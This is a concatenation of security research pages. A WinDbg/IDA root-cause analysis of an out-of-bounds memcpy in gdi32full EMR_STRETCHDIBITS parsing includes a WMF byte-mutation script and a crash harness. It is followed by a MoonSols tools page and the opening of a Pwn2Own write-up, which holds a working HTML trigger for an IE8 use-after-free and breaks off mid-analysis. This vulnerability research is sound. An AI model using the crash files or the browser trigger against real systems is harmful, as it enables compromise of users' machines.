    757eda47 ff7524          push    dword ptr [ebp+24h]
    757eda4a ff742468        push    dword ptr [esp+68h]
    757eda4e ff751c          push    dword ptr [ebp+1Ch]
    757eda51 ff7518          push    dword ptr [ebp+18h]
    757eda54 ff7514          push    dword ptr [ebp+14h]
    757eda57 ff7510          push    dword ptr [ebp+10h]
    757eda5a e813040000      call    gdi32full!MF_AnyDIBits (757ede72)
[/code]

Unfortunately, there’s no documentation for this one, but luckily IDA can help
us with that:

[code]

    size_t __stdcall MF_AnyDIBits(HDC a1, int a2, int a3, int a4, int a5, int a6, int a7, unsigned __int32 a8, unsigned __int32 a9, unsigned __int32 a10, UINT cLines, void *lpBits, BITMAPINFOHEADER *pbmih, UINT ColorUse, unsigned __int32 a15, int a16)
[/code]

This function expects 16 arguments as seen above, however we’re only
interested on the \*lpBits and \*pbmi pointers.

[code]

    0:000> dds esp LF
    0078f340  00003030
    0078f344  00003030
    0078f348  00003030
    0078f34c  00003030
    0078f350  00003030
    0078f354  00003030
    0078f358  00003030
    0078f35c  00000000
    0078f360  00000000
    0078f364  19a3affa <== *lpBits
    0078f368  19a3af94 <== *lpbmi
    0078f36c  00000001
    0078f370  30303030
    0078f374  00000051
    0078f378  19a3affa <== *lpBits
[/code]

Finally, there’s one function that we need to analyse right before crashing,
the **MRBDIB::vInit** :

[code]

    0:000> ub 757edfd9
    gdi32full!MF_AnyDIBits+0x152:
    757edfc4 ff751c          push    dword ptr [ebp+1Ch]
    757edfc7 50              push    eax
    757edfc8 ff7514          push    dword ptr [ebp+14h]
    757edfcb ff7508          push    dword ptr [ebp+8]
    757edfce ff75b0          push    dword ptr [ebp-50h]
    757edfd1 56              push    esi
    757edfd2 6a51            push    51h
    757edfd4 e830000000      call    gdi32full!MRBDIB::vInit (757ee009)
[/code]

The MRBDIB::vInit has the following signature and expects a total of 18
parameters:

[code]

     void __thiscall MRBDIB::vInit(MRBDIB *this, unsigned int, struct MDC *, int, int, int, int, int, int, unsigned int, size_t Size, const struct tagBITMAPINFO *Src, unsigned int, size_t, const void *, unsigned int, size_t, const void *)
[/code]

From our analysis IDA didn’t successfully recognize correct this function, you
can see the last argument before the call is 0x51 and does not match with the
MRBDIB \*this parameter.

However, after researching a bit and from the documentation the first value
identifies the record type, for this case this is clearly EMR\_STRETCHDIBITS.

The documentation also states:

“The EMR\_STRETCHDIBITS record specifies a block transfer of pixels from a
source bitmap to a destination rectangle, optionally in combination with a
brush pattern, according to a specified raster operation, stretching or
compressing the output to fit the dimensions of the destination, if
necessary.”

With that info, let’s dump the parameters before the MRBDIB::vInit\(\) call
and try to match the EMR\_STRETCHDIBITS record.

[code]

    0:000> dds esp LD
    0078f28c  00000051 <== EMR_STRETCHDIBITS
    0078f290  19a14d20 <== Bounds 
    0078f294  00003030 <== xDest 
    0078f298  00003030 <== yDest
    0078f29c  00003030 <== xSrc
    0078f2a0  00003030 <== ySrc
    0078f2a4  00003030 <== cxSrc 
    0078f2a8  00003030 <== cySrc 
    0078f2ac  00000050 <== offBmiSrc/offBitsInfoDib1
    0078f2b0  00000072 <== cbBmiSrc/cbBitsInfoDib1
    0078f2b4  19a3af94 <== offBitsSrc
    0078f2b8  000000c4 <== cbBitsSrc 
    0078f2bc  00000000 <== UsageSrc 
    0078f2c0  19a3affa <== BitBltRasterOperation 
    0078f2c4  00000001 <== cxDest 
    0078f2c8  00000000 <== cyDest 
    0078f2cc  00000000 <== BitmapBuffer 
    0078f2d0  00000000 <== BitmapBuffer?
[/code]

There are a few interesting values here that we might need to be aware of:

[code]

    offBmiSrc (4 bytes): An unsigned integer that specifies the offset in bytes from the start of this record to the source bitmap header.
    cbBmiSrc (4 bytes): An unsigned integer that specifies the size in bytes, of the source bitmap header.
    offBitsSrc (4 bytes): An unsigned integer that specifies the offset in bytes, from the start of this record to the source bitmap bits.
    cbBitsSrc (4 bytes): An unsigned integer that specifies the size in bytes, of the source bitmap bits.
[/code]

Before stepping into the MRBDIB::vInit, let’s examine MRBDIB class. Luckily we
were able to find the following class definition which albeit outdated, it
gave us an overview of the class’ member variables:

[code]

    class MRBDIB : public MR        /* mrsdb */ 
    { 
    protected: 
        LONG        xDst;           // destination x origin 
        LONG        yDst;           // destination y origin 
        LONG        xDib;           // dib x origin 
        LONG        yDib;           // dib y origin 
        LONG        cxDib;          // dib width 
        LONG        cyDib;          // dib height 
        DWORD       offBitsInfoDib; // offset to dib info, we don't store core info. 
        DWORD       cbBitsInfoDib;  // size of dib info 
        DWORD       offBitsDib;     // offset to dib bits 
        DWORD       cbBitsDib;      // size of dib bits buffer 
        DWORD       iUsageDib;      // color table usage in bitmap info. 
    -- redacted--
[/code]

Let’s print again the offBitsSrc contents:

[code]

    0:000> dc 19a3af94
    19a3af94  00000066 30303030 30303030 00200000  f...00000000.. .
    19a3afa4  00000003 30303030 30303030 30303030  ....000000000000
    19a3afb4  00000000 30303030 30303030 30303030  ....000000000000
    19a3afc4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afd4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afe4  30303030 30303030 30303030 30303030  0000000000000000
    19a3aff4  30303030 30303030 d0d0d0d0 ????????  00000000....????
    19a3b004  ???????? ???????? ???????? ????????  ????????????????
[/code]

With that information and stepping into the MRBDIB::vInit function, after the
variable initialisation, the following instructions will be executed:

[code]

    -- redacted --
    757ee065 895740         mov     dword ptr [edi+40h], edx
    757ee068 85f6           test    esi, esi                 ;  esi holds the cbBmiSrc value (0x72)
    757ee06a 742a           je      gdi32full!MRBDIB::vInit+0x8d (757ee096)  
    757ee06c 8b5530         mov     edx, dword ptr [ebp+30h] ; lpbmi/offBitsSrc value gets dereferenced on edx
    757ee06f 833a0c         cmp     dword ptr [edx], 0Ch     ; compare to biSize to 12
    757ee072 0f8419da0300   je      gdi32full!MRBDIB::vInit+0x3da88 (7582ba91)
    757ee078 56             push    esi                      ; push cbBmiSrc, 0x72
    757ee079 8d0439         lea     eax, [ecx+edi]           ; calculate source address and move to eax.
    757ee07c 52             push    edx                      ; push edx, destination address
    757ee07d 50             push    eax                      ; push the address to the stack
    757ee07e 8945fc         mov     dword ptr [ebp-4], eax
    757ee081 e815560300     call    gdi32full!memcpy (7582369b)
[/code]

Essentially, it is first checked whether the cbBmiSrc variable has a value
\(0x72 for this case\), and then if **offBitsSrc- >bmiHeader.biSize** is equal
to 12. If that value is 12, it’s going to extend it to a **bitmapinfoheader**.
Remember that the minimum value for the bcSize field of bitmapcoreheader is
0xc and that of bitmapinfoheader is 0x28 \(header size\). The current biSize
within the bmiHeader is in fact 0x66 \(which is user controlled\). As a
result, it’s parsed as a BITMAPINFOHEADER structure and the memcpy leads to an
out-of-bounds vulnerability.

The pseudocode would be:

[code]

    if ( cbBmiSrc )
      {
        if ( offBitsSrc->bmiHeader.biSize == 12 )
        {
          v19 = (unsigned __int32)v18 + offBmiSrc;
          CopyCoreToInfoHeader((char *)v18 + offBmiSrc, offBitsSrc);
          -- snip --
         }
             else
        {
          memcpy((char *)v18 + offBmiSrc, offBitsSrc, cbBmiSrc);
          -- snip --
         }
       }
[/code]

And stepping into the memcpy\(\):

[code]

    0:000> 
    Time Travel Position: 21DD:31
    eax=19a17108 ebx=00000000 ecx=00000050 edx=19a3af94 esi=00000072 edi=19a170b8
    eip=757ee081 esp=0078f268 ebp=0078f284 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
    gdi32full!MRBDIB::vInit+0x78:
    757ee081 e815560300      call    gdi32full!memcpy (7582369b)
    0:000> **dds esp L3**
    0078f268  19a17108
    0078f26c  19a3af94
    0078f270  00000072
    0:000> **dc eax**
    19a17108  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17118  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17128  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17138  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17148  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17158  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17168  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    19a17178  00000000 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
    0:000> **dc edx**
    19a3af94  00000066 30303030 30303030 00200000  f...00000000.. .
    19a3afa4  00000003 30303030 30303030 30303030  ....000000000000
    19a3afb4  00000000 30303030 30303030 30303030  ....000000000000
    19a3afc4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afd4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afe4  30303030 30303030 30303030 30303030  0000000000000000
    19a3aff4  30303030 30303030 d0d0d0d0 ????????  00000000....????
    19a3b004  ???????? ???????? ???????? ????????  ????????????????
[/code]

Continuing the execution will lead us to a memcpy crash:

[code]

    0:000> g
    (1fc0.1c3c): Access violation - code c0000005 (first/second chance not available)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    Time Travel Position: 2208:0
    eax=00000012 ebx=00000000 ecx=00000001 edx=d0d0d0d0 esi=19a3b000 edi=19a17174
    eip=76020b37 esp=0078f25c ebp=0078f284 iopl=0         nv up ei pl nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
    ucrtbase!memcpy+0x507:
    76020b37 8b16            mov     edx,dword ptr [esi]  ds:002b:19a3b000=????????
[/code]

### Triaging its exploitability

Now that we’ve analysed and understand the vulnerability we’ll move on to
using different tools and techniques to determine which bytes within the WMF
can the user control and how it impacts the code flow.

### Identifying the memcpy source address and size

The first step is to try and identify whether we can influence both the source
address and the memcpy size.

We’ll start with identifying the size \(0x72\) of the memcpy and running the
initial crash case:

[code]

    0:000> **kv 2**
     # ChildEBP RetAddr  Args to Child              
    00 0078f260 757ee086 19a17108 19a3af94 00000072 ucrtbase!memcpy+0x507 (FPO: [3,0,2])
    01 0078f284 757edfd9 00000051 19a14d20 00003030 gdi32full!MRBDIB::vInit+0x7d (FPO: [Non-Fpo])
[/code]

From the above stack trace, this value has been passed as a parameter which
was calculated somewhere on the MRBDIB::vInit function.

Let’s unassemble backwards:

[code]

    0:000> ub 757ee086
    gdi32full!MRBDIB::vInit+0x66:
    757ee06f 833a0c          cmp     dword ptr [edx],0Ch
    757ee072 0f8419da0300    je      gdi32full!MRBDIB::vInit+0x3da88 (7582ba91)
    757ee078 56              push    esi
    757ee079 8d0439          lea     eax,[ecx+edi]
    757ee07c 52              push    edx
    757ee07d 50              push    eax
    757ee07e 8945fc          mov     dword ptr [ebp-4],eax
    757ee081 e815560300      call    gdi32full!memcpy (7582369b)
[/code]

Travelling back in time before the crash gives us the following:

[code]

    0:000> g- 757ee081
    Time Travel Position: 21DD:31
    eax=19a17108 ebx=00000000 ecx=00000050 edx=19a3af94 esi=00000072 edi=19a170b8
    eip=757ee081 esp=0078f268 ebp=0078f284 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
    gdi32full!MRBDIB::vInit+0x78:
    757ee081 e815560300      call    gdi32full!memcpy (7582369b)
    
    0:000> dds esp L3
    0078f268  19a17108
    0078f26c  19a3af94
    0078f270  00000072
[/code]

We are interested on the 72 value here. Travelling back in the beginning of
the MF\_AnyDIBits function reveals the following instruction:

[code]

    gdi32full!MF_AnyDIBits+0x8b:
    757edefd 8b55c8          mov     edx,dword ptr [ebp-38h] ss:002b:0078f300=00000072
    eax=00000001 ebx=00000000 ecx=9f211284 edx=00000072 esi=19a3af94 edi=00000000
    eip=757edf00 esp=0078f2d0 ebp=0078f338 iopl=0         nv up ei ng nz ac po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000293
[/code]

Let’s set a hardware breakpoint here:

[code]

    0:000> **ba w1** 0078f300
[/code]

We are interested to hit the breakpoint only when 1 byte is modified.

[code]

    0:000> **g-**
    Breakpoint 0 hit
    Time Travel Position: 2152:3E0
    eax=00000000 ebx=00000072 ecx=0078f300 edx=00000000 esi=19a3af94 edi=00000002
    eip=757edd38 esp=0078f2a0 ebp=0078f2b0 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    gdi32full!bMetaGetDIBInfo+0x10b:
    757edd38 8b4d10          mov     ecx,dword ptr [ebp+10h] ss:002b:0078f2c0=0078f304
[/code]

We hit the first breakpoint, now travelling back again a few instructions
we’ll end up in the following snippet:

[code]

    gdi32full!bMetaGetDIBInfo+0x15b:
    757edd88 83c30c          add     ebx,0Ch
    eax=00000020 ebx=00000066 ecx=00000010 edx=00000020 esi=19a3af94 edi=00000002
    eip=757edd86 esp=0078f2a0 ebp=0078f2b0 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    0:000> dc esi
    19a3af94  00000066 30303030 30303030 00200000  f...00000000.. .
    19a3afa4  00000003 30303030 30303030 30303030  ....000000000000
    19a3afb4  00000000 30303030 30303030 30303030  ....000000000000
    19a3afc4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afd4  30303030 30303030 30303030 30303030  0000000000000000
    19a3afe4  30303030 30303030 30303030 30303030  0000000000000000
    19a3aff4  30303030 30303030 d0d0d0d0 ????????  00000000....????
    19a3b004  ???????? ???????? ???????? ????????  ????????????????
[/code]

Aha\! So ebx which is 0x66, is being added with 0x0C and it turns out this
address actually points to the lpbmi BITMAPINFOHEADER we examined previously\!
Stepping into one instruction we’ll see the result 0x72 on ebx which will
later be used for the memcpy.

[code]

    0:000> p
    Time Travel Position: 2152:354
    eax=00000020 ebx=00000072 ecx=00000010 edx=00000020 esi=19a3af94 edi=00000002
    eip=757edd8b esp=0078f2a0 ebp=0078f2b0 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
    gdi32full!bMetaGetDIBInfo+0x15e:
    757edd8b 8b4610          mov     eax,dword ptr [esi+10h] ds:002b:19a3afa4=00000003
[/code]

Now that we have a basic understanding how the memcpy size was calculated,
let’s run the following python script which it’s going to mutate that byte and
create 255 different files; from 0x00 to 0xff:

[code]

    """
    Snippet taken from http://code.activestate.com/recipes/510399-byte-to-hex-and-hex-to-byte-string-conversion/
    """
    def HexToByte( hexStr ): 
        bytes = []
    
        hexStr = ''.join( hexStr.split(" ") )
    
        for i in range(0, len(hexStr), 2):
            bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )
    
        return ''.join( bytes )
    
    if __name__ == "__main__":
    
        original_crasher = "C:\\Users\\ida\\Desktop\\0dvulns\\BugAnalysis\\memcpy_value\\crasher_MIN.wmf"
    
        for i in xrange(256):
            hex_format = hex(i)[2:].zfill(2)
    
            print "[*] Opening original file.."
            f=open(original_crasher,"rb")
            s=f.read()
            f.close()
            print "[+] Mutating nSize byte with: %s" % hex_format
            s=s.replace(b'f',HexToByte(hex_format))
    
            filename_to_save = 'crasher_%s.wmf' % str(hex_format) 
            bitout = open(filename_to_save,'wb') 
    
            print "[*] Saving crasher_memcpy_%s.wmf" % hex_format
            bitout.write(s)
[/code]

<img src='img/GDI32-10.png' width='940' height='549' />

_Figure_ _1_ _2_ _: Modifying the memcpy\(\) size variable._

Finally, we are going to use the following simple debug harness to determine
which files do crash our harness:

[code]

    #!/bin/env python
    # -*- coding: utf-8 -*-
    
    # Copyright (c) 2009-2018, Mario Vilas
    # All rights reserved.
    #
    # Redistribution and use in source and binary forms, with or without
    # modification, are permitted provided that the following conditions are met:
    #
    #     * Redistributions of source code must retain the above copyright notice,
    #       this list of conditions and the following disclaimer.
    #     * Redistributions in binary form must reproduce the above copyright
    #       notice,this list of conditions and the following disclaimer in the
    #       documentation and/or other materials provided with the distribution.
    #     * Neither the name of the copyright holder nor the names of its
    #       contributors may be used to endorse or promote products derived from
    #       this software without specific prior written permission.
    #
    # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
    # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
    # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
    # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
    # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
    # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
    # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
    # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
    # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    # POSSIBILITY OF SUCH DAMAGE.
    
    from sys import exit
    from winappdbg import win32, Debug, HexDump, Crash
    import glob
    from time import sleep
    
    def my_event_handler( event ):
    
        # Get the event name.
        name = event.get_event_name()
    
        # Get the event code.
        code = event.get_event_code()
    
        # Get the process ID where the event occured.
        pid = event.get_pid()
    
        # Get the thread ID where the event occured.
        tid = event.get_tid()
    
        # Get the value of EIP at the thread.
        pc = event.get_thread().get_pc()
    
        # If the event is a crash...
        if code == win32.EXCEPTION_DEBUG_EVENT and event.is_last_chance():
            print "Crash detected, storing crash dump in database..."
    
            # Generate a minimal crash dump.
            crash = Crash( event )
    
            # You can turn it into a full crash dump (recommended).
            crash.fetch_extra_data( event, takeMemorySnapshot = 1 ) # full memory dump
    
            print crash
            event.get_process().kill()
    
    def simple_debugger( argv ):
    
        # Instance a Debug object, passing it the event handler callback.
        debug = Debug( my_event_handler, bKillOnExit = True )
        try:
            # Start a new process for debugging.
            debug.execv( argv )
            # Wait for the debugee to finish.
            debug.loop()
        # Stop the debugger.
        finally:
            debug.stop()
    
    if __name__ == "__main__":
    
        harness = "C:\\Users\\ida\\Desktop\\0d-vulns\\GDI\\GdiRefactor.exe"
    
        wmf_files = list(glob.glob('C:\\Users\\ida\\Desktop\\0d-vulns\\BugAnalysis\\memcpy_value\\*.wmf'))
        for file in wmf_files:
            print "[*] Trying to crash the harness with: %s" % file
    
            argv = [harness, file]
            simple_debugger(argv)
    
            sleep(0.2)
[/code]

<img src='img/GDI32-11.png' width='940' height='546' />

_Figure 13: Running the simple debug script to detect any different crashes of
the newly modified seed files._

After running the above script, it turns out that any value from 0x61 – 0x68
will crash the harness.

Running the new test case crasher\_68.wmf and from the previous analysis we
expect the size of memcpy to be 0x74:

<img src='img/GDI32-12.png' width='939' height='365' />

_Figure 14: Hex dump view of the new crasher file._

[code]

    0:000> ?68+c
    Evaluate expression: 116 = 00000074
[/code]

And running it under the debugger:

[code]

    gdi32full!MRBDIB::vInit+0x78:
    76d6e081 e815560300      call    gdi32full!memcpy (76da369b)
    0:000> dds esp L3
    0118f530  08a1c108
    0118f534  08a3bf94
    0118f538  00000074
[/code]

which gives us the same memory dump as the original crasher:

[code]

    0:000> g
    (2008.1f7c): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000014 ebx=00000000 ecx=00000002 edx=d0d0d0d0 esi=08a3c000 edi=08a1c174
    eip=08260b37 esp=0118f524 ebp=0118f54c iopl=0         nv up ei pl nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
    ucrtbase_8210000!memcpy+0x507:
    08260b37 8b16            mov     edx,dword ptr [esi]  ds:002b:08a3c000=????????
[/code]

### Understanding the source address**  
**

For the last part of the analysis we are going to understand how the source
address is calculated and modify those bytes as well\! I will be restarting
the trace \(\!tt 00\) and then once the crash occurs I’ll go back to the
memcpy:

[code]

    0:000> g- 757ee081
    Time Travel Position: 21DD:31
    eax=19a17108 ebx=00000000 ecx=00000050 edx=19a3af94 esi=00000072 edi=19a170b8
    eip=757ee081 esp=0078f268 ebp=0078f284 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
    gdi32full!MRBDIB::vInit+0x78:
    757ee081 e815560300      call    gdi32full!memcpy (7582369b)
    0:000> dds esp L3
    0078f268  19a17108 <== destination
    0078f26c  19a3af94 <== source
    0078f270  00000072
[/code]

Now let’s step back 4 instructions:

[code]

    0:000> p- 4
    -- redacted --
    eax=000000c4 ebx=00000000 ecx=00000050 edx=19a3af94 esi=00000072 edi=19a170b8
    eip=757ee079 esp=0078f270 ebp=0078f284 iopl=0         nv up ei pl nz ac pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
    gdi32full!MRBDIB::vInit+0x70:
    757ee079 8d0439          lea     eax,[ecx+edi]
[/code]

On the output above, edi is added to ecx, so:

[code]

    0:000> ?ecx+edi
    Evaluate expression: 430010632 = 19a17108
[/code]

However, where did that 0x50 \(ecx\) come from? Stepping back a few commands
we end up on the following instruction:

[code]

    eax=00000051 ebx=00000072 ecx=25b4115e edx=00000000 esi=00000072 edi=19a170b8
    eip=757ee022 esp=0078f274 ebp=0078f284 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    gdi32full!MRBDIB::vInit+0x19:
    757ee022 8b4d28          mov     ecx,dword ptr [ebp+28h] ss:002b:0078f2ac=00000050
[/code]

Let’s set another hardware breakpoint here:

[code]

    0:000> ba w1 0078f2ac
[/code]

…and travelling backwards we end up on the following snippet:

[code]

       gdi32full!MRBDIB::vInit:
    757ee009 8bff           mov     edi, edi
    757ee00b 55             push    ebp
    757ee00c 8bec           mov     ebp, esp
    757ee00e 51             push    ecx
    757ee00f 53             push    ebx
[/code]

So, it could be a PUSH instruction from before the call modified it, let’s
print all the arguments before the MRBDIB::vInit call:

So it could be a PUSH instruction from before this call modified it, let’s
print all the arguments before the MRBDIB::vInit call:

[code]

    Breakpoint 1 hit
    Time Travel Position: 2152:4D3
    eax=00003030 ebx=00000072 ecx=19a170b8 edx=19a170b8 esi=19a14d20 edi=00000000
    eip=757ee00f esp=0078f280 ebp=0078f284 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    gdi32full!MRBDIB::vInit+0x6:
    757ee00f 53              push    ebx
[/code]

…and let’s travel back once again:

[code]

    0:000> g-
    Breakpoint 2 hit
    Time Travel Position: 2152:4C6
    eax=00003030 ebx=00000072 ecx=19a170b8 edx=19a170b8 esi=19a14d20 edi=00000000
    eip=757edfc1 esp=0078f2ac ebp=0078f338 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    gdi32full!MF_AnyDIBits+0x14f:
    757edfc1 ff7520          push    dword ptr [ebp+20h]  ss:002b:0078f358=00003030
[/code]

The instructions are the following:

[code]

    == redacted ==
    757edfbe 53             push    ebx
    757edfbf 6a50           push    50h
    757edfc1 ff7520         push    dword ptr [ebp+20h]  ss:002b:0078f358=00003030 ; eip is here
[/code]

Let’s print the contents of 0078f2ac:

[code]

    0:000> dc 0078f2ac L1
    0078f2ac  00000050                             P...
[/code]

And go backwards one command:

[code]

    0:000> p-
    Time Travel Position: 2152:4C5
    eax=00003030 ebx=00000072 ecx=19a170b8 edx=19a170b8 esi=19a14d20 edi=00000000
    eip=757edfbf esp=0078f2b0 ebp=0078f338 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    gdi32full!MF_AnyDIBits+0x14d:
    757edfbf 6a50            push    50h
    
    0:000> dc 0078f2ac L1
    0078f2ac  00000000                             ....
[/code]

As you can see above, that value is indeed fixed, and in fact, going back from
vInit function this is the offBmiSrc/offBitsInfoDib1 argument which is not
controllable at all.

We continued with the same process regarding the heap size allocation of the
source address which however didn’t give us any interesting results.
Unfortunately, other than leaking bytes we were not able to fully turn this
bug into a PoC that leaks heap addresses. It should be noted though that it
might be possible to achieve that on a scripted environment \(such as trigger
the bug inside Internet Explorer/Edge\).

### Patch

By diffing September’s gdi32full.dll \(v. 10.0.16299.492\) with the patched
one \(v. 10.0.17134.345\), the following functions seems to have been patched:

<img src='img/CISCAN.png' width='1062' height='435' />

Interestingly enough, we see that at least 4 functions were modified, and in
fact by setting breakpoints to those functions we were able to hit them.

<img src='img/bMetaGetDIBInfo-768x532.png' width='1062' height='736' />

_Figure 15: Improved checks within the bMetaGetDIBInfo_

The above screenshots depicts some improved calls to CJSCAN within the
bMetaGetDIBInfo methods amongst many other code changes.

### Conclusion**  
**

Identifying the root cause of a bug and speculating its exploitability can be
time consuming and tedious process, yet with the help of windbg’s TTD features
we certainly were able to speed up this process and make it more pleasant\!

# Annotated x86 Disassembly

**Created:**| _4/20/2010 7:29:41 PM_  
---|---  
**Updated:**| _4/20/2010 7:30:19 PM_  
**Author:**| __  
**Tags:**| _bookmark asm research reversing Metasploit Tutorials awesome_  
  
<img src='img/Annotated x86 Disassembly.pdf' />

# Utilities | MoonSols
**Created:**| _10/22/2013 10:32:54 AM_  
---|---  
**Updated:**| _10/22/2013 10:32:54 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools_  
  

# **U** tilities****

Home  / Utilities

**MoonSols HyperTaskMgr**  
More information about HyperTaskMgr

MoonSols HyperTaksMgr is a new generation Task Manager for IT Professionals to
manage Windows Virtual Machines running under Microsoft Hyper-V R2
Hypervisor**.** HyperTaskMgr is running on the host, it’s easily deployable
\(One executable and one dll in total\)**.** You don’t need to install
anything inside the target windows virtual machines**.**

**MoonSols LiveCloudKd  
**More Information

MoonSols’ LiveCloudKd also allows you to run the Kd and WinDbg from the
Microsoft Debugging Tools Package – locally on the host machine – but not for
your live system but for all Virtual Machines running in Microsoft Hyper-V
R2**.** It makes it possible to execute all the debugger’s commands that work
during the analyzis of a Microsoft crash dump**.** This includes writing
commands – Which makes also possible to modify the memory \(code, kernel
structures …\) of a running Microsoft Hyper-V Virtual Machine**.**

**MoonSols DumpIt**  
Download  
This utility is used to generate a physical memory dump of Windows
machines**.** It works with both x86 \(32-bits\) and x64 \(64-bits\)
machines**.**  
The raw memory dump is generated in the current directory, only a confirmation
question is prompted before starting**.**  
Perfect to deploy the executable on USB keys, for quick incident responses
needs**.**

**MoonSols Windows Memory Toolkit  
**More Information

MoonSols Windows Memory Toolkit is the ultimate toolkit for memory dump
conversion and acquisition on Windows**.** This toolkit had been designed to
deal with various types of memory dumps such as VMWare memory snapshot,
Microsoft crash dump and even Windows hibernation file**.**

MoonSols Windows Memory Toolkit had been designed to deal with Microsoft
Windows hibernation file \(from Microsoft Windows XP to Microsoft Windows 7 in
both 32-bits and 64-bits \(x64\) Editions\), Microsoft full memory crashdump
\(in both 32-bits and 64-bits \(x64\) Editions\), and raw memory dump files
\(from memory acquisition tools like win32dd or win64dd, or Virtualization
application like VMWare\)**.** Moreover, MoonSols Windows Memory Toolkit also
contains new version of win32dd and win64dd**.**

**MoonSols dinfo  
**More information

dinfo utility helps IT Administrator to display information \(including
generated password\) from files generated with Windows 2008 R2 djoin
utility**.**

**WinDbg Script to display global callbacks  
**More information

**WinDbg Script to display Windows Services  
**More information

****

# TippingPoint | DVLabs | Pwn2Own Challenges: Heapsprays are for the 99%
**Created:**| _3/19/2012 9:08:34 AM_  
---|---  
**Updated:**| _3/19/2012 9:08:37 AM_  
**Author:**| __  
**Tags:**| _attacks Exploit web Heap browser_  
  

## Pwn2Own Challenges: Heapsprays are for the 99%

  * By Peter Vreugdenhil
  * Thu 15 Mar 2012 10:01am 
  * 4321 Views 
  * 0 Comments
  * Link

In case you arent familiar with the Pwn2Own rules this year, we asked people
to exploit public bugs... here's one of them. The cve in question
\(cve-2010-0248\) is a use-after-free vulnerability in Internet Explorer 8
found by yours truly back in 2010. This specific bug is triggered by the
following poc:  

[code]

    <html>
       <head>
         <script>
    
           function Start() {
    
    
             var TableClone = document.getElementById('tableid').cloneNode(1);
             var TableCellUrns = TableClone.cells.urns('a');
             //var bla = TableClone.cells.item(1);
             var TableCellUrnsTags = TableCellUrns.tags('a');
             TableClone.outerText = 'a';
    
             Result = TableClone.cells;
    
             Result = TableCellUrnsTags.item(-1);
           }
    
         </script>
       </head>
       <body onLoad="window.setTimeout(Start,100);" id="bodyid">
    
         <table id="tableid">
           <tr><th id="thid"></th></tr>
           <tr id="trid"><td id="tdid"></td></tr>
         </table>
    
       </body>
    </html>
    
[/code]

Download here  
  
This is also the trigger that we handed out to the contestants at Pwn2Own for
the CVE challenges. So if you want to try it out yourself you should probably
stop reading right now and just start playing around with it.  
  

### Path to Code Execution:

If we run this poc in Internet Explorer 8 with pageheap on we will observe the
following crash:  

[code]

    eax=05a42fa0 ebx=061fcfd8 ecx=00000001 edx=06b54ffc esi=00000168 edi=061fcfd8
    eip=639910c7 esp=03e1f5b8 ebp=03e1f5e0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    mshtml!CTableCellsCollectionCacheItem::GetNext+0x12:
    639910c7 3b4854          cmp     ecx,dword ptr [eax+54h] 
    ds:0023:05a42ff4=????????
    
[/code]

The code around this looks like:

[code]

    .text:639910BA                 mov     eax, [edi+0Ch]
    .text:639910BD                 inc     dword ptr [edi+20h]
    .text:639910C0                 test    eax, eax
